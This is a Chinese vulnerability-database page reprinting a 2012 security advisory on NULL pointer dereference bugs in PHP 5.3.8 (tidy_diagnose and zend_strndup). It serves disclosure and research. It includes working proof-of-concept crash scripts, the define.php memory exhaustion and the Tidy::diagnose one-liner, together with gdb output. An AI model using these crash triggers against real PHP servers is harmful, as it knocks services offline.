PHP ‘tidy_diagnose’函数拒绝服务漏洞

漏洞版本:

php:5.3.8

漏洞描述:

CVE-2012-0781

PHP是一款免费开放源代码的WEB脚本语言包,可使用在Microsoft Windows、Linux和Unix操作系统下。

PHP 5.3.8版本中的tidy_diagnose函数中存在漏洞。远程攻击者可利用该漏洞借助对应用程序的特制输入,造成拒绝服务(空指针解引用进而应用程序崩溃),该应用程序试图在无效对象上执行Tidy::diagnose操作。
<* 参考

http://cxsecurity.com/research/103

*>

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

  1. —–BEGIN PGP SIGNED MESSAGE—–
  2. Hash: SHA1
  3. [ PHP 5.3.8 Multiple vulnerabilities ]
  4. Author: Maksymilian Arciemowicz
  5. Website: http://cxsecurity.com/
  6. Date: 14.01.2012
  7. CVE:
  8. CVE-2011-4153 (zend_strndup)
  9. Original link:
  10. http://cxsecurity.com/research/103
  11. [— 1. Multiple NULL Pointer Dereference with zend_strndup()
  12. [CVE-2011-4153] —]
  13. As we can see in zend_strndup()
  14. – -zend_alloca.c—
  15. ZEND_API char *zend_strndup(const char *s, uint length)
  16. {
  17. char *p;
  18. p = (char *) malloc(length+1);
  19. if (UNEXPECTED(p == NULL)) {
  20. return p; <=== RETURN NULL
  21. }
  22. if (length) {
  23. memcpy(p, s, length);
  24. }
  25. p[length] = 0;
  26. return p;
  27. }
  28. – -zend_alloca.c—
  29. zend_strndup() may return NULL
  30. in php code, many calls to zend_strndup() dosen’t checks returned
  31. values. In result, places like:
  32. – -zend_builtin_functions.c—
  33. ZEND_FUNCTION(define)
  34. {
  35. char *name;
  36. int name_len;
  37. zval *val;
  38. zval *val_free = NULL;
  39. zend_bool non_cs = 0;
  40. int case_sensitive = CONST_CS;
  41. zend_constant c;
  42. if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, “sz|b”, &name,
  43. &name_len, &val, &non_cs) == FAILURE) {
  44. return;
  45. }
  46. c.flags = case_sensitive; /* non persistent */
  47. c.name = zend_strndup(name, name_len); <======== MAY RETURN NULL
  48. c.name_len = name_len+1;
  49. c.module_number = PHP_USER_CONSTANT;
  50. if (zend_register_constant(&c TSRMLS_CC) == SUCCESS) {
  51. RETURN_TRUE;
  52. } else {
  53. RETURN_FALSE;
  54. }
  55. }
  56. – -zend_builtin_functions.c—
  57. – -PoC code—
  58. [cx@82 /www]$ ulimit -a
  59. socket buffer size (bytes, -b) unlimited
  60. core file size (blocks, -c) unlimited
  61. data seg size (kbytes, -d) 524288
  62. file size (blocks, -f) unlimited
  63. max locked memory (kbytes, -l) unlimited
  64. max memory size (kbytes, -m) 40000
  65. open files (-n) 11095
  66. pipe size (512 bytes, -p) 1
  67. stack size (kbytes, -s) 65536
  68. cpu time (seconds, -t) unlimited
  69. max user processes (-u) 5547
  70. virtual memory (kbytes, -v) 40000
  71. swap size (kbytes, -w) unlimited
  72. [cx@82 /www]$ cat define.php
  73. <?php
  74. define(str_repeat(“A”,$argv[1]),”a”);
  75. ?>
  76. – -PoC code—
  77. to see difference
  78. [cx@82 /www]$ php define.php 8999999
  79. Out of memory
  80. [cx@82 /www]$ php define.php 9999999
  81. Segmentation fault: 11
  82. (gdb) bt
  83. #0 0x28745eb0 in strrchr () from /lib/libc.so.7
  84. #1 0x0822d538 in zend_register_constant (c=0xbfbfcfb0)
  85. at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429
  86. #2 0x08251e0e in zif_define (ht=2, return_value=0x28825a98,
  87. return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)
  88. at /usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c:688
  89. #3 0x0826dba6 in zend_do_fcall_common_helper_SPEC
  90. (execute_data=0x29401040)
  91. at zend_vm_execute.h:316
  92. There are others places, where zend_strndup() is used:
  93. – -1–
  94. ext/soap/php_sdl.c
  95. if (sdl->is_persistent) {
  96. new_enc->details.ns = zend_strndup(ns, ns_len);
  97. new_enc->details.type_str = strdup(new_enc->details.type_str);
  98. } else {
  99. new_enc->details.ns = estrndup(ns, ns_len);
  100. new_enc->details.type_str = estrdup(new_enc->details.type_str);
  101. }
  102. – -1–
  103. – -2–
  104. ext/standard/syslog.c
  105. BG(syslog_device) = zend_strndup(ident, ident_len);
  106. openlog(BG(syslog_device), option, facility);
  107. RETURN_TRUE;
  108. – -2–
  109. – -3–
  110. ext/standard/browscap.c
  111. } else { /* Other than true/false setting */
  112. Z_STRVAL_P(new_property) = zend_strndup(Z_STRVAL_P(arg2),
  113. Z_STRLEN_P(arg2));
  114. Z_STRLEN_P(new_property) = Z_STRLEN_P(arg2);
  115. }
  116. new_key = zend_strndup(Z_STRVAL_P(arg1), Z_STRLEN_P(arg1));
  117. zend_str_tolower(new_key, Z_STRLEN_P(arg1));
  118. zend_hash_update(Z_ARRVAL_P(current_section), new_key,
  119. Z_STRLEN_P(arg1) + 1, &new_property, sizeof(zval *), NULL);
  120. free(new_key);
  121. – -3–
  122. – -4–
  123. ext/oci8/oci8.c
  124. if (alloc_non_persistent) {
  125. connection = (php_oci_connection *) ecalloc(1,
  126. sizeof(php_oci_connection));
  127. connection->hash_key = estrndup(hashed_details.c, hashed_details.len);
  128. connection->is_persistent = 0;
  129. } else {
  130. connection = (php_oci_connection *) calloc(1,
  131. sizeof(php_oci_connection));
  132. connection->hash_key = zend_strndup(hashed_details.c,
  133. hashed_details.len);
  134. connection->is_persistent = 1;
  135. }
  136. – -4–
  137. – -5–
  138. ext/com_dotnet/com_typeinfo.c
  139. const_name = php_com_olestring_to_string(bstr_ids, &c.name_len,
  140. codepage TSRMLS_CC);
  141. c.name = zend_strndup(const_name, c.name_len);
  142. efree(const_name);
  143. c.name_len++; /* include NUL */
  144. SysFreeString(bstr_ids);
  145. /* sanity check for the case where the constant is already defined */
  146. if (zend_get_constant(c.name, c.name_len – 1, &exists TSRMLS_CC)) {
  147. if (COMG(autoreg_verbose) && !compare_function(&results,
  148. &c.value, &exists TSRMLS_CC)) {
  149. php_error_docref(NULL TSRMLS_CC, E_WARNING, “Type library
  150. constant %s is already defined”, c.name);
  151. }
  152. free(c.name);
  153. ITypeInfo_ReleaseVarDesc(TypeInfo, pVarDesc);
  154. continue;
  155. }
  156. – -5–
  157. – -6–
  158. main/php_open_temporary_file.c
  159. /* On Unix use the (usual) TMPDIR environment variable. */
  160. {
  161. char* s = getenv(“TMPDIR”);
  162. if (s && *s) {
  163. int len = strlen(s);
  164. if (s[len – 1] == DEFAULT_SLASH) {
  165. temporary_directory = zend_strndup(s, len – 1);
  166. } else {
  167. temporary_directory = zend_strndup(s, len);
  168. }
  169. return temporary_directory;
  170. }
  171. – -6–
  172. [— 2. Tidy::diagnose() NULL pointer dereference —]
  173. Class tidy, may provide to null pointer dereference using tidy lib.
  174. 1287 static PHP_FUNCTION(tidy_diagnose)
  175. 1288 {
  176. 1289 TIDY_FETCH_OBJECT;
  177. 1290
  178. 1291 if (tidyRunDiagnostics(obj->ptdoc->doc) >= 0) {
  179. 1292 tidy_doc_update_properties(obj TSRMLS_CC);
  180. 1293 RETURN_TRUE;
  181. 1294 }
  182. 1295
  183. 1296 RETURN_FALSE;
  184. 1297 }
  185. – -PoC—
  186. (gdb) r -r ‘$nx=new Tidy(“*”);$nx->diagnose();’
  187. The program being debugged has been started already.
  188. Start it from the beginning? (y or n) y
  189. Starting program: /usr/bin/php -r ‘$nx=new Tidy(“*”);$nx->diagnose();’
  190. [Thread debugging using libthread_db enabled]
  191. PHP Warning: tidy::__construct(): Cannot Load ‘*’ into memory in
  192. Command line code on line 1
  193. Program received signal SIGSEGV, Segmentation fault.
  194. 0x00007fffedfaff87 in prvTidyReportMarkupVersion ()
  195. from /usr/lib/libtidy-0.99.so.0
  196. – -PoC—
  197. – -Result—
  198. cx@cx64:~$ php -r ‘$nx=new Tidy(“*”);$nx->diagnose();’
  199. PHP Warning: tidy::__construct(): Cannot Load ‘*’ into memory in
  200. Command line code on line 1
  201. Segmentation fault
  202. – -Result—
  203. I do not consider this vulnerability as a having security impact other
  204. as DoS.
  205. [— 3. Contact —]
  206. Author: Maksymilian Arciemowicz
  207. Email: max {AA\TT cxsecurity |D|0|T] com
  208. http://cxsecurity.com/
  209. GPG:
  210. http://cxsecurity.com/office.cxsecurity.txt
  211. – —
  212. Best Regards
  213. Maksymilian Arciemowicz (CXSecurity.com)
  214. pub 4096R/D6E5B530 2010-09-19
  215. uid Maksymilian Arciemowicz (cx) <max@cxib.net>
  216. sub 4096R/58BA663C 2010-09-19
  217. —–BEGIN PGP SIGNATURE—–
  218. iQIcBAEBAgAGBQJPEWEaAAoJEIO8+dzW5bUwiQIP+wW7gqAMB3FtONREDS9rUa83
  219. VTJpMzCNdZw5cy7qIwivC4usdRUbidFy8Bqt/TA/3x8nWVm3Wx//5DPyFWb/RNZh
  220. swSS7+9f6XJA4tEF/eTn6lCEG4xp2wLxHgxqIqmWR09gkOifhKHVEEXlO5qsQxhx
  221. T5hEYqbvXEknzlUS/HC9C6sZsZK0EbdPjxDqe1qE+P3GyHecfoVb3s7WQw0IitZT
  222. l47by1UbJ2iGj5q4EExLyj2FxomIw46LFdFtePHOI6EZcq/MODnyCGNkzVpS4tyK
  223. SNIxiSp7nM1n08a6kQ1pZrMyTUO/LATojJ6qf79bJApyhK1ggs4WF+E73wItiFt0
  224. ordQeqWy2hTLyv+UlbsoFErSgASgw5MIw3ygZXNZsdQWEMj+UCUTrsro7k/zB6Uy
  225. 3r4ccmyf1Vd+kLx12SAR/uxHIlqQVskQDi2k45CPHQVAYGKdax24ksVlfgQ2K/dY
  226. 2SCj9gEDAOKqtNLxyFyEStraeb330TrxbGaI25gjiDVf7nYgPowqdaM1gI862MoR
  227. vP4vbFFY9ldwTBsLz9DNMVObsNWsoz2BlQ6olCgUPqkvce9RyI6rp+QwyIXQLcVr
  228. jUGMXhpmDrNR2oyA4ufsZ4u5W8KUIK3t26v8649k3LSzmRpmK1TSTNqdHwm9WfMa
  229. 0qg+Bq1hSEVfTOuqOY7x
  230. =IDq3
  231. —–END PGP SIGNATURE—–

安全建议:

目前厂商还没有提供此漏洞的相关补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://us.php.net/sites.php

评论关闭。